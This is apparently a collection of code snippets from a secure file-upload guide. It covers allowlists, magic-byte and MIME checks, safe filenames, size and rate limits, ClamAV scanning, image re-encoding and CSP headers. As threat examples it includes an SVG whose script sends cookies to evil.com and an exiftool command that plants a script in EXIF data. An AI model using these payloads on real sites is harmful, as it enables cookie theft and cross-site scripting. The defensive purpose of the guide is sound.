# Python - extension allowlist
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.pdf', '.docx'}

def allowed_file(filename: str) -> bool:
    ext = os.path.splitext(filename)[1].lower()
    return ext in ALLOWED_EXTENSIONS

// Node.js - extension allowlist
const ALLOWED_EXTENSIONS = new Set(['.jpg', '.jpeg', '.png', '.gif', '.pdf', '.docx']);

function allowedFile(filename) {
  const ext = path.extname(filename).toLowerCase();
  return ALLOWED_EXTENSIONS.has(ext);
}

# Python - server-side MIME detection with python-magic
import magic

def validate_mime(filepath: str, allowed_mimes: set) -> bool:
    mime = magic.from_file(filepath, mime=True)
    return mime in allowed_mimes

ALLOWED_MIMES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}

// Node.js - MIME detection with file-type (works on magic bytes)
import { fileTypeFromFile } from 'file-type';

async function validateMime(filepath, allowedMimes) {
  const result = await fileTypeFromFile(filepath);
  if (!result) return false;
  return allowedMimes.has(result.mime);
}

// PHP - finfo for MIME detection
function validateMime(string $filepath, array $allowedMimes): bool {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($filepath);
    return in_array($mime, $allowedMimes, true);
}

# Python - magic bytes validation
MAGIC_BYTES = {
    b'\xff\xd8\xff': 'image/jpeg',
    b'\x89PNG\r\n\x1a\n': 'image/png',
    b'GIF87a': 'image/gif',
    b'GIF89a': 'image/gif',
    b'%PDF-': 'application/pdf',
}

def check_magic_bytes(filepath: str) -> str | None:
    with open(filepath, 'rb') as f:
        header = f.read(8)
    for magic, mime in MAGIC_BYTES.items():
        if header.startswith(magic):
            return mime
    return None

def validate_upload(filename: str, filepath: str) -> bool:
    # Layer 1: extension
    if not allowed_file(filename):
        return False
    # Layer 2: magic bytes
    detected_type = check_magic_bytes(filepath)
    if detected_type not in ALLOWED_MIMES:
        return False
    # Layer 3: server-side MIME
    if not validate_mime(filepath, ALLOWED_MIMES):
        return False
    return True

import uuid
import os

def safe_filename(original_filename: str) -> str:
    ext = os.path.splitext(original_filename)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError(f"Extension not allowed: {ext}")
    return f"{uuid.uuid4().hex}{ext}"

// Node.js
const { randomUUID } = require('crypto');
const path = require('path');

function safeFilename(originalFilename) {
  const ext = path.extname(originalFilename).toLowerCase();
  if (!ALLOWED_EXTENSIONS.has(ext)) {
    throw new Error(`Extension not allowed: ${ext}`);
  }
  return `${randomUUID().replace(/-/g, '')}${ext}`;
}

# Database: preserve original name, UUID on disk
upload = Upload(
    original_name=secure_filename(file.filename),
    stored_name=safe_filename(file.filename),
    uploaded_by=current_user.id
)

# Minimum: basename + Werkzeug secure_filename
from werkzeug.utils import secure_filename

name = secure_filename(os.path.basename(uploaded_name))
# Better: UUID + store original name in database

# Flask - serve uploads via application
@app.route('/files/<file_id>')
@login_required
def serve_file(file_id):
    upload = Upload.query.get_or_404(file_id)
    return send_from_directory(
        app.config['UPLOAD_FOLDER'],
        upload.stored_name,
        mimetype=upload.detected_mime,  # No text/html!
        as_attachment=True
    )

# AWS S3 - pre-signed upload URL
import boto3

s3 = boto3.client('s3')

def generate_upload_url(bucket: str, key: str, expires: int = 300) -> str:
    return s3.generate_presigned_url(
        'put_object',
        Params={
            'Bucket': bucket,
            'Key': key,
            'ContentType': 'image/jpeg',
        },
        ExpiresIn=expires
    )

# Pre-signed download URL
def generate_download_url(bucket: str, key: str, expires: int = 3600) -> str:
    return s3.generate_presigned_url(
        'get_object',
        Params={
            'Bucket': bucket,
            'Key': key,
            'ResponseContentDisposition': 'attachment',
        },
        ExpiresIn=expires
    )

# Filesystem permissions
chmod 750 /srv/uploads
chown www-data:www-data /srv/uploads
# No execute bit on files
chmod 640 /srv/uploads/*

# Apache
LimitRequestBody 10485760

# Flask - file size limit
app.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024  # 10 MB

@app.errorhandler(413)
def too_large(e):
    return jsonify(error="File too large (max 10 MB)"), 413

// Express + multer - file size and quantity limits
const multer = require('multer');

const upload = multer({
  dest: '/srv/uploads/',
  limits: {
    fileSize: 10 * 1024 * 1024,  // 10 MB per file
    files: 5,                     // Max 5 files per request
    fields: 10,                   // Max 10 form fields
  },
  fileFilter: (req, file, cb) => {
    const allowed = ['.jpg', '.jpeg', '.png', '.gif', '.pdf'];
    const ext = path.extname(file.originalname).toLowerCase();
    cb(null, allowed.includes(ext));
  }
});

app.post('/upload', upload.array('files', 5), (req, res) => {
  res.json({ uploaded: req.files.length });
});

# Flask-Limiter - limit uploads per time unit
from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/upload', methods=['POST'])
@limiter.limit("10/hour")          # Max 10 uploads per hour per IP
@limiter.limit("3/minute")         # Max 3 per minute
def upload_file():
    ...

# Install ClamAV and start daemon
sudo apt install clamav clamav-daemon
sudo freshclam                     # Signature update
sudo systemctl start clamav-daemon

# Python - scanning with pyclamd
import pyclamd

class VirusScanner:
    def __init__(self):
        self.cd = pyclamd.ClamdUnixSocket('/var/run/clamav/clamd.ctl')
        if not self.cd.ping():
            raise RuntimeError("ClamAV daemon not reachable")

    def scan_file(self, filepath: str) -> tuple[bool, str | None]:
        """Returns (is_clean, threat_name)."""
        result = self.cd.scan_file(filepath)
        if result is None:
            return True, None
        # result = {'/path/to/file': ('FOUND', 'Eicar-Test-Signature')}
        status, threat = list(result.values())[0]
        return False, threat

# Usage in upload handler
scanner = VirusScanner()

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    temp_path = os.path.join('/tmp', safe_filename(file.filename))
    file.save(temp_path)

    is_clean, threat = scanner.scan_file(temp_path)
    if not is_clean:
        os.remove(temp_path)
        app.logger.warning(f"Malware detected: {threat}")
        return jsonify(error="File rejected by virus scanner"), 400

    # File is clean, move to permanent storage
    final_path = os.path.join(app.config['UPLOAD_FOLDER'], os.path.basename(temp_path))
    shutil.move(temp_path, final_path)
    return jsonify(status="ok"), 201

<!-- Malicious SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>document.location='https://evil.com/?c='+document.cookie</script>
  <rect width="100" height="100" fill="red"/>
</svg>

# Payload in EXIF Comment field
exiftool -Comment='<script>alert(document.cookie)</script>' photo.jpg

# Python - strip EXIF and re-encode with Pillow
from PIL import Image
import io

def sanitize_image(input_path: str, output_path: str, max_size: tuple = (4096, 4096)):
    """Re-encode image: strips EXIF, removes embedded content."""
    with Image.open(input_path) as img:
        # Verify that it is actually an image
        img.verify()

    # Reopen after verify (verify makes object unusable)
    with Image.open(input_path) as img:
        # Convert to RGB (removes alpha-channel tricks)
        if img.mode not in ('RGB', 'L'):
            img = img.convert('RGB')

        # Limit dimensions
        img.thumbnail(max_size, Image.LANCZOS)

        # Save without EXIF data
        img.save(output_path, format='JPEG', quality=85, exif=b'')

// Node.js - re-encode with sharp
const sharp = require('sharp');

async function sanitizeImage(inputPath, outputPath) {
  await sharp(inputPath)
    .rotate()                    // Auto-rotate based on EXIF, then strip
    .resize(4096, 4096, {
      fit: 'inside',
      withoutEnlargement: true
    })
    .removeAlpha()
    .jpeg({ quality: 85 })
    .toFile(outputPath);
}

@app.after_request
def add_upload_csp(response):
    if request.path.startswith('/files/'):
        response.headers['Content-Security-Policy'] = (
            "default-src 'none'; "
            "style-src 'none'; "
            "script-src 'none'; "
            "object-src 'none'"
        )
        response.headers['X-Content-Type-Options'] = 'nosniff'
    return response